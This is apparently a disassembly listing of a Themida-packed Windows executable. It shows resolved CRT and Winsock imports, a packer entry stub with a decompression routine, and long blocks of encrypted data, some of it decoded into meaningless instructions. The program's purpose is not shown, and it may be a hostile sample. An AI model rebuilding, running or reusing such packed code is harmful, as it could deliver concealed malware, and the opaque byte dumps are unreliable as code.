dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0 dd 760AC190h dd 0Dh dup(0)
; ---------------------------------------------------------------------------
xchg eax, esp
pop esp
retn
; ---------------------------------------------------------------------------
ja short loc_511A99
push ebx
retn
; ---------------------------------------------------------------------------
db 77h
db 0DBh ; Û
db 0F1h ; ñ
db 0C1h ; Á
db 77h ; w
; ---------------------------------------------------------------------------
loc_511A24: ; CODE XREF: ___:00511A34j
movsb
icebp
sal dword ptr [edi-28h], 23h
mov byte ptr [edi+75h], 0D6h
les esi, [edi+67h]
popf
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
jmp short loc_511A24
; ---------------------------------------------------------------------------
sal dword ptr [edi-54h], 17h
mov byte ptr [edi-52h], 2Dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
dd 77C4186Ah
dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ...
dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h
dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
db 72h
; ---------------------------------------------------------------------------
loc_511A99: ; CODE XREF: ___:00511A1Bj
sbb eax, esp
; ---------------------------------------------------------------------------
db 77h
dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ...
dd 77C371BCh
dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ...
dd 77C2C407h
dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r
dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ...
db 90h
db 0CFh, 0C1h, 77h
dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
mul byte ptr [esi]
retn 0E777h
; ---------------------------------------------------------------------------
db 14h, 0C2h, 77h
dd 77C29CC5h
dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr
dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FE30+1126r ...
dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr
dd 77C29CDDh, 77C293C7h
dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ...
dd 77C35F0Dh
dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h
dd 77C46320h
dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 28A0AF2h
off_511C00 dd offset sub_5F285B ; DATA XREF: ___:00419FBDr
; sub_41A050+2Dr ...
dd 0Bh dup(0)
dd 71AB951Eh, 71AB3E00h
dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ...
dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h
dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h
dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh, 71AB4FD4h
dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h
dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ...
dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ...
dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ...
dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ...
dd 71AB2BF4h
dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r
dd 71ABE479h, 11h dup(0)
dd 76D6AC1Dh, 4C1h dup(0)
___ ends
; Section 2. (virtual address 00113000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00113000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 513000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00114000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00114000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 514000h
dd 7C801A24h, 7C81CDDAh, 0
aE db 'Ïe',9,']',0
align 10h
dd 114050h, 114000h, 3 dup(0)
dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00115000)
; Virtual size : 0010F000 (1110016.)
; Section size in file : 0010F000 (1110016.)
; Offset to raw data for section: 00115000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 515000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 27C4B071h, 43277h, 5F8E2h, 15A172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_515086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_515041
popa
jmp short loc_515076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
inc eax
loc_515041: ; CODE XREF: Themida_:0051502Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51504E: ; CODE XREF: Themida_:00515072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51506D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_515074
loc_51506D: ; CODE XREF: Themida_:00515059j
sub eax, 1000h
jmp short loc_51504E
; ---------------------------------------------------------------------------
loc_515074: ; CODE XREF: Themida_:0051506Bj
mov edi, eax
loc_515076: ; CODE XREF: Themida_:0051502Fj
jmp loc_515265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11526Ah
add ecx, edi
jmp short loc_515090
; ---------------------------------------------------------------------------
loc_515086: ; CODE XREF: Themida_:0051501Cj
mov eax, offset loc_581469
mov ecx, offset word_51526A
loc_515090: ; CODE XREF: Themida_:00515084j
push eax
push ecx
call sub_51511B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_515265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51511B proc near ; CODE XREF: Themida_:00515092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_515132: ; CODE XREF: sub_51511B+7Aj
; sub_51511B+C3j ...
add dl, dl
jnz short loc_51513B
mov dl, [esi]
inc esi
adc dl, dl
loc_51513B: ; CODE XREF: sub_51511B+19j
jnb short loc_515127
add dl, dl
jnz short loc_515146
mov dl, [esi]
inc esi
adc dl, dl
loc_515146: ; CODE XREF: sub_51511B+24j
jnb short loc_515197
xor eax, eax
add dl, dl
jnz short loc_515153
mov dl, [esi]
inc esi
adc dl, dl
loc_515153: ; CODE XREF: sub_51511B+31j
jnb loc_515238
add dl, dl
jnz short loc_515162
mov dl, [esi]
inc esi
adc dl, dl
loc_515162: ; CODE XREF: sub_51511B+40j
adc eax, eax
add dl, dl
jnz short loc_51516D
mov dl, [esi]
inc esi
adc dl, dl
loc_51516D: ; CODE XREF: sub_51511B+4Bj
adc eax, eax
add dl, dl
jnz short loc_515178
mov dl, [esi]
inc esi
adc dl, dl
loc_515178: ; CODE XREF: sub_51511B+56j
adc eax, eax
add dl, dl
jnz short loc_515183
mov dl, [esi]
inc esi
adc dl, dl
loc_515183: ; CODE XREF: sub_51511B+61j
adc eax, eax
jz short loc_51518D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51518D: ; CODE XREF: sub_51511B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_515132
; ---------------------------------------------------------------------------
loc_515197: ; CODE XREF: sub_51511B:loc_515146j
mov eax, 1
loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j
add dl, dl
jnz short loc_5151A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5151A5: ; CODE XREF: sub_51511B+83j
adc eax, eax
add dl, dl
jnz short loc_5151B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5151B0: ; CODE XREF: sub_51511B+8Ej
jb short loc_51519C
sub eax, ebx
mov ebx, 1
jnz short loc_5151E3
mov ecx, 1
loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j
add dl, dl
jnz short loc_5151C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5151C9: ; CODE XREF: sub_51511B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5151D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5151D4: ; CODE XREF: sub_51511B+B2j
jb short loc_5151C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_5151E3: ; CODE XREF: sub_51511B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j
add dl, dl
jnz short loc_5151FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5151FA: ; CODE XREF: sub_51511B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_515205
mov dl, [esi]
inc esi
adc dl, dl
loc_515205: ; CODE XREF: sub_51511B+E3j
jb short loc_5151F1
cmp eax, 7D00h
jnb short loc_515228
cmp eax, 500h
jb short loc_515223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515223: ; CODE XREF: sub_51511B+F8j
cmp eax, 7Fh
ja short loc_51522B
loc_515228: ; CODE XREF: sub_51511B+F1j
add ecx, 2
loc_51522B: ; CODE XREF: sub_51511B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515238: ; CODE XREF: sub_51511B:loc_515153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_515259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515259: ; CODE XREF: sub_51511B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51511B endp
; ---------------------------------------------------------------------------
loc_515265: ; CODE XREF: Themida_:loc_515076j
; Themida_:005150B1j
jmp loc_581469
; ---------------------------------------------------------------------------
word_51526A dw 38E9h ; DATA XREF: Themida_:0051508Bo
dd 153358Ch, 3321FFBFh, 0AFEF11EEh, 65685400h, 6164696Dh
dd 22FA1BE1h, 0BE0BE198h, 0EE101FCh, 0E11122BEh, 1FCAB1Fh
dd 88FF1EE1h, 0AA43B871h, 655201BFh, 72617473h, 0E27041CCh
dd 0F978F42Eh, 67FD3DC2h, 0D7570801h, 8D702111h, 3545DE7Fh
dd 457E15C2h, 0FF37C236h, 0D00497ADh, 6CAD04F0h, 59018FD4h
dd 17C21D22h, 81724F9h, 92915F5Fh, 0F9F58D70h, 5F1FC278h
dd 0E3201D27h, 0D490C58Bh, 0AA0E860h, 0ED00815Dh, 7A8359Bh
dd 61299589h, 75B50D1Eh, 9851004h, 0BD838005h, 80830BFCh
dd 728B0C74h, 0B8E228E8h, 0C7C27B5Dh, 1C244470h, 14404D3Eh
dd 0E845186Ah, 9A6829A3h, 7A83743Eh, 250ADF50h, 0A894B1Eh
dd 0E909D591h, 18150214h
db 0F4h, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
mov al, 0EEh
pop edx
adc dword ptr [eax], 23689EAh
mov ebx, edx
mov dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Themida_:0051536Dj
inc eax
mov [eax], ecx
aas
cmp dword ptr [ebp+31h], 0F741D80h
lahf
and [eax], cl
leave
xor ebx, 26h
adc bh, bh
adc bl, [eax]
inc ebx
jmp short near ptr loc_51534F+1
; ---------------------------------------------------------------------------
fsub qword ptr ss:[ecx-23h]
db 26h
add eax, 104C2C9h
inc esi
add esp, 2A3FF7Ch
dec ecx
xchg eax, ecx
rol byte ptr [eax], cl
lea eax, [ebp-80h]
mov ebx, [ebp+8]
mov dword ptr [ecx-7Bh], 8D501219h
or byte ptr [edx], 0D1h
retn
; ---------------------------------------------------------------------------
db 88h, 18h, 2Ah
dd 280B8941h, 8006BD81h, 0A5E3755Dh, 0BA8D0A27h, 75013B64h
dd 0BB0E8A80h, 0B85B24F4h, 5437AB03h, 0F3D0D378h, 4B080E0Fh
dd 0AFC1F775h, 494647C3h, 0F946184Ah, 61D142A8h, 0D0818AAEh
dd 0EEF6D7F0h, 4DFC4528h, 0AD04EB28h, 803146F2h, 0BAF7403Eh
dd 34B9844Dh, 0EB0C7D86h, 0F8433E7Fh, 0F0126D32h, 0F40E2A13h
dd 0C14A0510h, 4F065h, 0E0D1F8D6h, 80E5C203h, 8ADB3328h
dd 7380301Ch, 0A7230FBh, 577390Ah, 0C9FBEBF4h, 61149F22h
dd 660A0DD9h, 1EBD08FDh, 0AC33A7Dh, 411A10B0h, 0AC30B72h
dd 7A067746h, 5D018824h, 0F4ECF061h, 2CC7D83h, 0CB06C72h
dd 0A5DD76C0h, 0F826AA99h, 8D1D3807h, 3B02A8A8h, 820FFC55h
dd 0B0BDA778h, 0F938AA06h, 8308BA43h, 0A17082B9h, 3818BDFCh
dd 470FFE00h, 0FA754907h, 6A1722B9h, 5101BB70h, 82F11D12h
dd 6002B7EBh, 3A1F868Eh, 0B808A93Fh, 45363F65h, 0EF268ADCh
dd 40E4E913h, 0B298BC59h, 10660C75h, 0B4190383h, 8A507278h
dd 0DB008C08h, 0CE96BC67h, 0F86BC32Ch, 4E93056h, 0C45E2121h
dd 6D068AE4h, 45820525h, 211D6008h, 37C45646h, 124E2407h
dd 65F0CD3Ch, 19DA8C15h, 9EA6E881h, 0BC8040F1h, 0AD3F03EBh
dd 34CB9C5Eh, 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh
dd 8746D93Bh, 2E097564h, 20E1156h, 65E4EC48h, 77800690h
dd 8E05C584h, 9432962Ah, 4855347h, 8C2946C2h, 0E76DDA71h
dd 0FFD9AA0Eh, 77812B86h, 1D002204h, 0F984C134h, 0C8207533h
dd 0BB3B3FBCh, 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh
dd 0E9F54567h, 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h
dd 1384845Ah, 5FA5653h, 3DEE825Eh, 511B8154h, 8A0C9F9Eh
dd 4013B954h, 43A59723h, 1BD10129h, 0E5003018h, 58873C24h
dd 52B8FDBAh, 1EE22515h, 224130h, 3F52802Fh, 342ADC32h
dd 288D6724h, 10D2F407h, 893C594Ah, 5405E2h, 5CB4BE61h
dd 10CA0C0Bh, 8C232086h, 14C8E03Ch, 358507A6h, 8A101902h
dd 87BC017Dh, 0EA70C1B7h, 0F82D82F2h, 0E41D9392h, 8A69B443h
dd 811996E1h, 0A8E08118h, 73400AEAh, 69466F3h, 5507F5F7h
dd 0E2202E91h, 15E9300Dh, 0C2319429h, 8C0EBD00h, 0E1B4C4BBh
dd 0CA4B00E6h, 751D28A2h, 680A9896h, 0A28C1061h, 64E78140h
dd 1FCF267h, 82F65B62h, 3663AC3h, 0B95AC054h, 0C8861FE5h
dd 2BC18135h, 50CC3994h, 6EB3116Eh, 0ED361700h, 8B3BFF93h
dd 0FE2F0750h, 818C61F3h, 0C87D38BAh, 0C8018207h, 6FB52774h
dd 1081EFB6h, 245519ABh, 73F0FCFAh, 7298671h, 0A800A8EAh
dd 0D36C52A3h, 0BE95058h, 0D7873889h, 8E10E784h, 0D2BD5D07h
dd 905A00ADh, 5EB8403h, 171160EAh, 47F74663h, 0E8F59E03h
dd 0C804DB90h, 14B8AC8Eh, 0F8497C22h, 0EA302622h, 71840B0Eh
dd 9E810079h, 0C5CAE8DFh, 0B90CC9C2h, 2544EA04h, 0A8343827h
dd 9367E200h, 0FA3CCD41h, 0B786E412h, 8C181108h, 0D10B13EAh
dd 0A65F4A03h, 0B042E791h, 1287DEh, 0AF0BC1BFh, 0EA716B82h
dd 795B59h, 0F368A993h, 9C6173h, 0D913B887h, 0ECA6BC1Ah
dd 366F53Ah, 7E523E56h, 1EB3A875h, 0F30900B2h, 6D58D1ABh
dd 0DF3784D4h, 0C13214Fh, 0C747A378h, 31A64E00h, 0DD70DCAh
dd 2118DAC5h, 43218E4Bh, 48444376h, 0C5EEB5Ah, 2EBDCF26h
dd 0E1077521h, 647A0A42h, 79FF93h, 0E615DB19h, 3816F6AEh
dd 0B9085800h, 31493DADh, 76E00C9h, 0F6BE18EEh, 0DC005A3Eh
dd 9ADB125h, 184BDF55h, 616A5E8Ch, 160E024Dh, 40CB1E58h
dd 49FD3B23h, 0CCB80061h, 1FF5815Dh, 3F30AC9Bh, 0AAB5E151h
dd 0D85C07A0h, 8058CA66h, 405A5F01h, 0C2016EE0h, 65757DE2h
dd 55D11ECCh, 117848h, 40CA2BEDh, 4F522587h, 0C20E1D00h
dd 5CD2BCD5h, 712F00F7h, 0A86769FFh, 7600F1DDh, 42087F16h
dd 0E90F3CFDh, 6883E0h, 2A05517Bh, 0C8D41E1Ah, 29235B30h
dd 0F7ED0DCh, 0FF8C8262h, 482EB900h, 9A1E87E5h, 0D603A691h
dd 0A062C368h, 0CDDB1Ch, 0CEDFE3F3h, 9CA30E56h, 8513F902h
dd 0C11C773Dh, 58867E8Ch, 800EF423h, 0E7577F00h, 79B0C9D8h
dd 2D0B0117h, 0F0499C96h, 6F38878Ch, 1881A00Fh, 0AE03E71h
dd 9EB948B6h, 0D560070Ch, 0AE0C8638h, 0B9205C7Ah, 0C4AC000Fh
dd 0E4E8E922h, 6F0C5D6Ah, 21245B58h, 7ED63EE1h, 0EB6BAEh
dd 0B19F9A28h, 0A400A62Bh, 5B19FC80h, 7C24DF90h, 1F797F64h
dd 0CC71A0BEh, 0F6B80978h, 0D20FDB18h, 3DA75E8h, 0A23E315Ah
dd 0D5A040BEh, 0E1C01195h, 9AE512E2h, 73FA3878h, 67832000h
dd 0F2278BF5h, 8D4740C0h, 6053BBCDh, 689B10C4h, 0C8A03CA9h
dd 0CA0298F4h, 5ECEFB2Ch, 5F4080FDh, 0F76D81D7h, 8841C6E1h
dd 55E0D869h, 48FB0C89h, 9E400FD5h, 8BFF8F0Ah, 0A10594D1h
dd 0A458D441h, 836684E0h, 0BBC3F5D8h, 68571628h, 424B2D06h
dd 0C93A95h, 0A2CF5E04h, 123894D8h, 19263900h, 6E141FE6h
dd 57FE03B7h, 675041A4h, 72F06012h, 26383840h, 9B7492h
dd 0D68D9843h, 6EBB04DCh, 0AA79EE37h, 35D9F80Fh, 5987BC9h
dd 0CE333C80h, 69F8204Ch, 250A7371h, 0E41BF636h, 17E9BD86h
dd 0B2681471h, 0FB0324FCh, 0F7953411h, 6A4026B0h, 0BA76901Eh
dd 0ABD13858h, 6F7B015Dh, 0C1318A34h, 0EA933083h, 0C0293003h
dd 124AB227h, 1B9064D0h, 0E0F88144h, 7A00387Ch, 0D540A374h
dd 0A623A793h, 0FB31059Ch, 213D9A0h, 6DF054C0h, 6C1084A0h
dd 93003AB8h, 3FE11BFAh, 0C66E401h, 453970FBh, 22FF8030h
dd 18F53E0Ch, 7F186229h, 5B72069Bh, 515E2CBAh, 49A14206h
dd 0AA0824Ah, 518B5906h, 0BDD68198h, 0E8F412EDh, 0A0C71C6Bh
dd 0DF155F6h, 0B0D31A7Ch, 3EE7A9h, 0A030C7D7h, 82873D31h
dd 0E03B5900h, 5585F7F3h, 0E011FCBh, 2F9380E7h, 2892949Fh
dd 6F766B00h, 0F8180233h, 75AA3C2Ah, 0AED48700h, 0B526C36Eh
dd 63417C00h, 5D85F209h, 0B1F900CBh, 251E29A8h, 92002D2Eh
dd 393E5834h, 3D9ED8h, 0A057E83h, 3896A036h, 9C410D05h
dd 801E5A71h, 0F830955Eh, 9ACA5B66h, 0A1D21D24h, 0C8B080B2h
dd 2D3FA18h, 9B3B217Ah, 6FC707A2h, 84613071h, 0FC500B96h
dd 0A09A9F39h, 8CA0D0h, 6D218818h, 98ED6791h, 937038A0h
dd 5B0800EDh, 0BD00E91Fh, 0FE070709h, 37BF5FD4h, 22F78370h
dd 6C4113A0h, 49505E75h, 0B807D0F0h, 79595F23h, 403368h
dd 9E59DEEh, 7E741BCh, 17A93479h, 679EF0BDh, 880CBEA3h
dd 3114F735h, 31E87832h, 0FDF9C7C3h, 0D9742470h, 0CF2B6400h
dd 401A3D17h, 0E397025Bh, 0F6EE8D3h, 8012AAE1h, 1898B981h
dd 0FDF7195h, 4B94C81Ah, 0E22D8720h, 66005D89h, 83246ED8h
dd 51E54A4h, 59989B0Bh, 7C880130h, 20C62F8Ch, 0A230714Ch
dd 0BE83817Dh, 2820764Bh, 13805D7Ch, 309C71B4h, 0BB9F8B94h
dd 98E1ED80h, 1A473C2Ch, 75962C83h, 89F0E318h, 0A9CB946Fh
dd 741C0A08h, 68C014A6h, 44974A2h, 864BA32Eh, 659C81B4h
dd 0CFCD0039h, 9821545Bh, 764E00B3h, 0B17D53C7h, 0E204ADEEh
dd 3D33AE0Eh, 0D2A87CC1h, 2E06D040h, 13F51836h, 75FDB07Eh
dd 18CDB9C7h, 7C2538D0h, 2F1D0345h, 359771F9h, 0F8872101h
dd 0C8FCC632h, 6EEFA18Ch, 68003FC1h, 91229D75h, 0F9C577h
dd 320B841Fh, 198B6F05h, 5028156Ch, 37968868h, 0F46649C0h
dd 4D9E03h, 0EF13FA9Bh, 2AFEEA9Dh, 65932701h, 6F6040F8h
dd 7F32C881h, 24C64C05h
dd 205BD0Ch, 84E05654h, 808016C4h, 9D8A3Fh, 59F62040h
dd 0CCDF305Eh, 49FC654Ch, 153E1128h, 0DF8230Ch, 0F4483589h
dd 9E298440h, 30FBEC80h, 703E89Ah, 0B9ED5BE0h, 0F943569Dh
dd 7D547C90h, 9314F2C8h, 18FCA83Dh, 0B7A1C95Bh, 5514035Ah
dd 79931C70h, 5DFF2880h, 26547400h, 0DC81DB2h, 29167553h
dd 5E8F036h, 0A0EFC23h, 3A58EF4Ch, 6D644A09h, 0F7CF3C00h
dd 0D8C278CCh, 90907016h, 919A71C8h, 7B938448h, 0FCA303BFh
dd 0CC19096Ah, 6F8028B5h, 3D3A6922h, 7EBC3100h, 0C58BF971h
dd 0C3D12483h, 80E00058h, 7ACA9D4Ch, 3BD650DEh, 85B20040h
dd 0A05A68ACh, 1EB68978h, 80CD9363h, 506BC429h, 5C009F9Ch
dd 4CF7C8Ch, 0EED9ABBFh, 8023F36Fh, 68CE2209h, 0C6288C80h
dd 833ED2C1h, 0A68F1C55h, 0A7B9868Fh, 10093891h, 2F6758h
dd 7FE973EEh, 8F9D894Ah, 0BCAA0713h, 3CF74444h, 6C91EF49h
dd 4A1CF05Fh, 0E3384700h, 6D3DAEF7h, 0BF800311h, 0B3EF903Eh
dd 4A1D4105h, 0B40178D8h, 0BDBF0794h, 0E19D1882h, 21005F3Bh
dd 7BDD98F0h, 861502B6h, 0A02C3305h, 8F9138A0h, 347B528Ah
dd 2BA44D00h, 0FCF69D30h, 0CA1F2E3Ch, 2F8D087Ch, 0D7C5DB85h
dd 22A2D401h, 0C18107F5h, 79508C1Fh, 9170740Ah, 6BFD54A8h
dd 520888A8h, 0B10715FCh, 0D014F19Ch, 0A59DFB50h, 12E5F4B4h
dd 310A0831h, 100EF37Ch, 5D3CE707h, 251EFC79h, 184D3990h
dd 0CF22309h, 0EF9D48B0h, 71492061h, 818A72A1h, 0E140D96h
dd 7660BAADh, 2ECC8DBDh, 0E22EA27Ch, 10835C8Bh, 96AF0E7h
dd 0B4C7570h, 67C6498h, 8C4E2F0Eh, 0A11BE047h, 0B09CB373h
dd 68922CB7h, 7EC84250h, 0EEBA900h, 28F901BBh, 81BC49E9h
dd 709FEB1Dh, 0F3D39DE5h, 0C5BB8B12h, 8A68021h, 345A8600h
dd 8CF5753Fh, 20571D5Fh, 0FFE9259Ch, 0BC0CC400h, 930009D0h
dd 69329F4Ah, 597DA16Dh, 92119837h, 0BCB85178h, 0F99E0991h
dd 0E954183Ah, 146F0067h, 11EBC7A7h, 7A004AC9h, 7420E605h
dd 0C52EE199h, 81D28150h, 882A1D40h, 80438D61h, 362D1F3Eh
dd 809837F7h, 0FAC64213h, 60685C37h, 0B8938C75h, 9CADF0C0h
dd 0CB8F9BF9h, 20024FD0h, 74005829h, 64997102h, 0A01650D2h
dd 38C2B488h, 6889064Bh, 51D849B0h, 0D096DC5Eh, 5B1C0632h
dd 0F300711Dh, 6157F287h, 0A9E24D0h, 79DBFA1Ch, 0F5760F18h
dd 90B7F305h, 939D3388h, 0C312F712h, 0F2153001h, 0A09F872Bh
dd 61280990h, 0F3760C00h, 0E4BA03DBh, 0A1A0ED09h, 40802C3Fh
dd 1DBE4099h, 8E9C4210h, 18CC6886h, 969FF13h, 42C3024h
dd 50108BECh, 9D06BB3Dh, 0C06E97F9h, 0F5FF8A1Ah, 8DB04019h
dd 38B4A88Eh, 4654B9Ch, 0E4F0A938h, 80058B34h, 9EB2FD5Fh
dd 9FC03487h, 1B68F7Eh, 42817AB9h, 6440E96Ch, 21738B18h
dd 78054180h, 254DF5h, 70003043h, 987EFDC6h, 5B0019C3h
dd 0D33D31E7h, 964C0805h, 0F9A10268h, 8C507DE5h, 18A0333Ch
dd 7310B4FDh, 79FE2976h, 19381088h, 929991AFh, 0B1929DF1h
dd 55980C8Eh, 2A5D7789h, 90B8797Ch, 7A9CB200h, 8015CC2Dh
dd 292960BBh, 4B2398FBh, 0AE0649Ah, 140568C8h, 9285A8E9h
dd 0F0082135h, 0F52434F6h, 411F7037h, 4044689h, 0FF91A757h
dd 3F78D011h, 1D618BFBh, 3B937679h, 8C24D44Ah, 7535409Ch
dd 18A8B3FBh, 154E19Fh, 0BD318A8Ch, 7ED07131h, 40103007h
dd 0FD00944Ch, 0E583965Ch, 0FA7F9FF2h, 32860C05h, 6841F9E9h
